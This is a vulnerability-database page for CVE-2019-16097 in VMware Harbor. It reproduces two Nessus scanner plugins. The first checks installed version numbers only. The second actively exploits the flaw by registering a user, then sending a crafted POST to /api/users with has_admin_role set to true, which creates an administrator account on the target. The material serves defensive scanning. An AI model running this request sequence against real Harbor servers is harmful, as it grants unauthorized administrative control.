Vulnerabilities > CVE-2019-16097 - Missing Authorization vulnerability in Linuxfoundation Harbor

#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(130004);
  script_version("1.6");
  script_cvs_date("Date: 2020/01/14");

  script_cve_id("CVE-2019-16097");
  script_xref(name:"VMSA", value:"2019-0015");

  script_name(english:"VMware Harbor 1.7.x < 1.7.6, 1.8.x < 1.8.3 (VMSA-2019-0015)");

  script_set_attribute(attribute:"synopsis", value:
"A cloud native registry installed on the remote host is affected by a privilege escalation vulnerability.");
  script_set_attribute(attribute:"description", value:
"The version of VMware Harbor installed on the remote host is 1.7.x prior to 1.7.6 or 1.8.x prior to 1.8.3. It is,
therefore, affected by a privilege escalation vulnerability in the POST /api/users API endpoint due to insufficient
checks of user privileges. An authenticated, remote attacker can exploit this, via sending a POST to the /api/users
API endpoint, to gain administrator access to the system.

Note that Nessus has not tested for these issues but has instead relied only on the application's self-reported version
number.");
  script_set_attribute(attribute:"see_also", value:"https://github.com/goharbor/harbor/wiki/Harbor-FAQs#cve-2019-16097");
  script_set_attribute(attribute:"solution", value:
"Update to VMware Harbor version 1.7.6, 1.8.3, or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16097");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/09/24");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/17");

  script_set_attribute(attribute:"plugin_type", value:"combined");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:goharbor:harbor");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("cncf_harbor_web_detect.nbin", "cncf_harbor_local_detect.nbin");
  script_require_keys("installed_sw/Harbor");

  exit(0);
}

include('vcf.inc');

get_kb_item_or_exit('installed_sw/Harbor');

app_info = vcf::combined_get_app_info(app:'Harbor');

constraints = [
  { 'min_version' : '1.7', 'fixed_version' : '1.7.6' },
  { 'min_version' : '1.8', 'fixed_version' : '1.8.3' }
];

vcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);

include('compat.inc');

if (description)
{
  script_id(129825);
  script_version("1.6");
  script_cvs_date("Date: 2019/10/31 15:18:51");

  script_cve_id("CVE-2019-16097");

  script_name(english:"VMware Harbor Privilege Escalation (VMSA-2019-0015) (CVE-2019-16097)");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a privilege escalation vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote VMware Harbor cloud native registry is affected by a remote privilege escalation vulnerability. Instances of
VMware Harbor with DB as the authentication backend and which allow users to self-register are vulnerable. An
authenticated, non-administrator, remote attacker can exploit this by sending a POST request to the '/api/users' API to
create a new administrator user account.");
  script_set_attribute(attribute:"see_also", value:"https://github.com/goharbor/harbor/wiki/Harbor-FAQs#cve-2019-16097");
  script_set_attribute(attribute:"see_also", value:"https://www.vmware.com/security/advisories/VMSA-2019-0015.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to VMware Harbor versions 1.7.6 or later, 1.8.3 or later, or 1.9.0 or later, or apply the workaround in the
vendor advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:S/C:N/I:P/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-16097");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/09/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/09/18");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:goharbor:harbor:");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"Misc.");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('install_func.inc');
include('misc_func.inc');
include('http.inc');
include('spad_log_func.inc');

##
# Creates a harbor user using the users API
# 
# @param admin True if an admin user should be created, otherwise false
#
# @return request The request sent to create the user
##
function create_user(admin) {
  if (admin)
  {
    var username = admin_user;
    var current_username = non_admin_user;
    var has_admin_role = 'true';
  }
  else
  {
    username = non_admin_user;
    has_admin_role = 'false';
  }

  var email = username + '@tenable.com';

  var postdata = '{  "user_id": 0,  "username": "' + username +'",  "email": "' + email
    + '",  "password": "' + passwd + '",  "realname": "Nessus",  "comment": "Nessus test",'
    + '"deleted": true,  "role_name": "Nessus",  "role_id": 0,  "has_admin_role": ' + has_admin_role + ',  '
    + '"reset_uuid": "string",  "Salt": "string"}';

  var post_response;
  if (admin)
    post_response = http_send_recv3(
      port            : port,
      method          : 'POST',
      item            : '/api/users',
      data            : postdata,
      content_type    : 'application/json',
      username        : current_username,
      password        : passwd,
      exit_on_fail    : FALSE
    );
  else
    post_response = http_send_recv3(
      port            : port,
      method          : 'POST',
      item            : '/api/users',
      data            : postdata,
      content_type    : 'application/json',
      exit_on_fail    : FALSE
    );

  var request = http_last_sent_request();
  spad_log(message:'Attempted to create a Harbor user with:\n' + request);
  spad_log(message:'The response status was:\n' + post_response[0]);

  if (empty_or_null(post_response[0]) || '201 Created' >!< post_response[0])
    audit(AUDIT_LISTEN_NOT_VULN, app_name, port);

  return request;
}

##
# Check the current user using tthe users/current API
# 
# @return request The request sent to check the current user
##
function get_current_user()
{
  var get_response = http_send_recv3(
    port            : port,
    method          : 'GET',
    item            : '/api/users/current',
    content_type    : 'application/json',
    username        : admin_user,
    password        : passwd,
    exit_on_fail    : FALSE
  );
  var request = http_last_sent_request();
  spad_log(message:'Attempted to get the admin user with:\n' + request);
  spad_log(message:'The response status was:\n' + get_response[0]);
  spad_log(message:'The response headers were:\n' + get_response[1]);
  spad_log(message:'The response body was:\n' + get_response[2]);

  if (empty_or_null(get_response[0]) || '200 OK' >!< get_response[0]
      || admin_user >!< get_response[2] || get_response[2] !~ '"has_admin_role":\\s*true')
    audit(AUDIT_LISTEN_NOT_VULN, app_name, port);

  return request;
}

#
# Main
#

app_name = 'VMware Harbor';
port = get_http_port(default:80);

# Generate a random, non-admin username that shouldn't exist already
non_admin_user = 'notadmin' + rand_str(length:8, charset:'0123456789ABCDEF');
# Generate a random, admin username that shouldn't exist already
admin_user = 'admin' + rand_str(length:8, charset:'0123456789ABCDEF');
# Generate an acceptable password for these users
passwd = 'Aa1' + rand_str(length:8, charset:'0123456789ABCDEF');

# Create the non-admin user
non_admin_request = create_user(admin:false);
# Create the admin user
admin_request = create_user(admin:true);
# Check if we were successful in creating an admin user
get_current_user_request = get_current_user();

security_report_v4(
  port: port,
  severity: SECURITY_WARNING,
  generic: TRUE,
  request: make_list(admin_request),
  rep_extra: 'Prior to this, a non-admin account was created using the following request:\n' + non_admin_request
    + '\n\nNessus confirmed the presence of the newly created admin user with the following request:\n' + get_current_user_request
);